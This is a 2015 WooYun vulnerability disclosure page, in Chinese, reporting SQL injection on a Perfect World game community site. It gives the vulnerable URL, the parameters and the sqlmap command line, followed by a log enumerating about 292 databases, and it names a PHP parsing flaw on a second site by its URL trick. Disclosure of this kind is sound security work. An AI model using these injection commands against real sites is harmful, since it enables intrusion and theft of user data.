当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0116302

漏洞标题：完美世界某游戏社区主站存在SQL注入近三百数据裤(包括dota2)

相关厂商：完美世界

漏洞作者： mango

提交时间：2015-05-26 16:04

修复时间：2015-07-10 18:24

公开时间：2015-07-10 18:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-26： 细节已通知厂商并且等待厂商处理中
2015-05-26： 厂商已经确认，细节仅向厂商公开
2015-06-05： 细节向核心白帽子及相关领域专家公开
2015-06-15： 细节向普通白帽子公开
2015-06-25： 细节向实习白帽子公开
2015-07-10： 细节向公众公开

简要描述：

看前面一直有人提交漏洞送礼物呀~我也来求个礼物~~~机械键盘么？刚好缺个

详细说明：

http://www.17y.com 问题出在这个站

"http://www.17y.com/sds/fame" --data "method=listLevel&nowPage=1&pageSize=20&sortField=1&sortOrderby=false&zid=-1" -p sortField --dbs --level 3


丢sqlmap跑~~ sortField 参数问题哦~~

98J9WA`0Z8_03M0BS2DMQFH.png


裤子太多了、、、跑起来很慢啊

7`XIJHFZOG%(X%9Z%S}I~5P.png


漏洞证明：

[15:53:21] [INFO] fetching database names
[15:53:21] [INFO] fetching number of databases
[15:53:21] [INFO] resumed: 292
[15:53:21] [INFO] resumed: information_schema
[15:53:21] [INFO] resumed: basic_mb_0
[15:53:21] [INFO] resumed: basic_mb_1
[15:53:21] [INFO] resumed: basic_mb_2
[15:53:21] [INFO] resumed: basic_mb_3
[15:53:21] [INFO] resumed: basic_mb_public
[15:53:21] [INFO] resumed: cms
[15:53:21] [INFO] resumed: dota2_forum_0
[15:53:21] [INFO] resumed: dota2_forum_1
[15:53:21] [INFO] resumed: dota2_forum_2
[15:53:21] [INFO] resumed: dota2_forum_3
[15:53:21] [INFO] resumed: dota2_forum_public
[15:53:21] [INFO] resumed: dz_data
[15:53:21] [INFO] resumed: gm
[15:53:21] [INFO] resumed: gt_raffle
[15:53:21] [INFO] resumed: gt_ucenter
[15:53:21] [INFO] resumed: mhzx_forum_0
[15:53:21] [INFO] resumed: mhzx_forum_1
[15:53:21] [INFO] resumed: mhzx_forum_2
[15:53:21] [INFO] resumed: mhzx_forum_3
[15:53:21] [INFO] resumed: mhzx_forum_public
[15:53:21] [INFO] resumed: mysql
[15:53:21] [INFO] resumed: sd_forum_0
[15:53:21] [INFO] resumed: sd_forum_1
[15:53:21] [INFO] resumed: sd_forum_2
[15:53:21] [INFO] resumed: sd_forum_3
[15:53:21] [INFO] resumed: sd_forum_public
[15:53:21] [INFO] resumed: sds_faction_public
[15:53:21] [INFO] resumed: sds_mb_0
[15:53:21] [INFO] resumed: sds_mb_1
[15:53:21] [INFO] resumed: sds_mb_2
[15:53:22] [INFO] resumed: sds_mb_3
[15:53:22] [INFO] resumed: sds_mb_public
[15:53:22] [INFO] resumed: sds_raffle
[15:53:22] [INFO] resumed: sdxl_forum_0
[15:53:22] [INFO] resumed: sdxl_forum_1
[15:53:22] [INFO] resumed: sdxl_forum_2
[15:53:22] [INFO] resumed: sdxl_forum_3
[15:53:22] [INFO] resumed: sdxl_forum_public
[15:53:22] [INFO] resumed: sdxl_raffle
[15:53:22] [INFO] resumed: sdzhidao
[15:53:22] [INFO] resumed: shediao_raffle
[15:53:22] [INFO] resumed: short_url
[15:53:22] [INFO] resumed: sm_activity
[15:53:22] [INFO] resumed: sns_activity
[15:53:22] [INFO] resumed: sns_activity_public
[15:53:22] [INFO] resumed: sns_album_0
[15:53:22] [INFO] resumed: sns_album_1
[15:53:22] [INFO] resumed: sns_album_2
[15:53:22] [INFO] resumed: sns_album_3
[15:53:22] [INFO] resumed: sns_album_public
[15:53:22] [INFO] resumed: sns_auth
[15:53:22] [INFO] resumed: sns_draft_public
[15:53:22] [INFO] resumed: sns_exp_0
[15:53:22] [INFO] resumed: sns_exp_1
[15:53:22] [INFO] resumed: sns_exp_2
[15:53:22] [INFO] resumed: sns_exp_3
[15:53:22] [INFO] resumed: sns_exp_public
[15:53:22] [INFO] resumed: sns_fame_public
[15:53:22] [INFO] resumed: sns_feed_0
[15:53:22] [INFO] resumed: sns_feed_1
[15:53:22] [INFO] resumed: sns_feed_2
[15:53:22] [INFO] resumed: sns_feed_3
[15:53:22] [INFO] resumed: sns_feed_public
[15:53:22] [INFO] resumed: sns_forum_0
[15:53:22] [INFO] resumed: sns_forum_1
[15:53:22] [INFO] resumed: sns_forum_2
[15:53:22] [INFO] resumed: sns_forum_3
[15:53:22] [INFO] resumed: sns_forum_public
[15:53:22] [INFO] resumed: sns_game_0
[15:53:22] [INFO] resumed: sns_game_1
[15:53:22] [INFO] resumed: sns_game_2
[15:53:22] [INFO] resumed: sns_game_3
[15:53:22] [INFO] resumed: sns_game_public
[15:53:22] [INFO] resumed: sns_help_0
[15:53:22] [INFO] resumed: sns_hiloid_1
[15:53:22] [INFO] resumed: sns_image_0
[15:53:22] [INFO] resumed: sns_image_1
[15:53:22] [INFO] resumed: sns_image_2
[15:53:22] [INFO] resumed: sns_image_3
[15:53:22] [INFO] resumed: sns_imagenew_0
[15:53:22] [INFO] resumed: sns_imagenew_1
[15:53:22] [INFO] resumed: sns_imagenew_2
[15:53:22] [INFO] resumed: sns_imagenew_3
[15:53:22] [INFO] resumed: sns_long_article_0
[15:53:22] [INFO] resumed: sns_mb_0
[15:53:22] [INFO] resumed: sns_mb_1
[15:53:22] [INFO] resumed: sns_mb_2
[15:53:22] [INFO] resumed: sns_mb_3
[15:53:22] [INFO] resumed: sns_mb_public
[15:53:22] [INFO] resumed: sns_message_0
[15:53:22] [INFO] resumed: sns_message_1
[15:53:22] [INFO] resumed: sns_message_2
[15:53:22] [INFO] resumed: sns_message_3
[15:53:22] [INFO] resumed: sns_passport_0
[15:53:22] [INFO] resumed: sns_passport_1
[15:53:22] [INFO] resumed: sns_passport_10
[15:53:22] [INFO] resumed: sns_passport_11
[15:53:22] [INFO] resumed: sns_passport_12
[15:53:22] [INFO] resumed: sns_passport_13
[15:53:22] [INFO] resumed: sns_passport_14
[15:53:22] [INFO] resumed: sns_passport_15
.................

太多了就不跑了
再送个福利给你们~
http://mail.173.com/media/logo.png/.php
php解析漏洞~ 可以注册 但是上传点就有点坑~没有细研究

H9E9YY%Y533NECWGJ83T{XY.png

修复方案：

版权声明：转载请注明来源 mango@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-05-26 18:23

厂商回复：

感谢洞主对完美世界的关注，我们将尽快修补。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-26 16:33 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    我也想要键盘

  2. 2015-05-26 16:59 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @番茄炒蛋 快去挖

  3. 2015-05-26 18:25 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @完美世界 有礼物么。亲

  4. 2015-05-26 18:40 | 姗姗来迟 ( 普通白帽子 | Rank:297 漏洞数:72 | coffeesafe的小号)

    完美的礼物。。。两个dote的手办。。还是被拆封的，都是眼泪

  5. 2015-05-26 19:11 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @姗姗来迟 不是键盘么

  6. 2015-05-26 19:24 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    厂商一说有礼物，这帮丧心病狂的白帽子

  7. 2015-05-27 18:15 | zhangfei ( 实习白帽子 | Rank:59 漏洞数:5 | (╯°Д°)╯︵ ┻━┻)

    17y？

  8. 2015-06-01 09:43 | 完美世界(乌云厂商)

    樱桃的红轴机械键盘已发放，谢谢关注！

  9. 2015-06-01 09:46 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    我也想换键盘了。

  10. 2015-06-15 21:33 | 姗姗来迟 ( 普通白帽子 | Rank:297 漏洞数:72 | coffeesafe的小号)

    为何我上次也搞定之后，发了两个已拆封的手办~ 泪奔啊~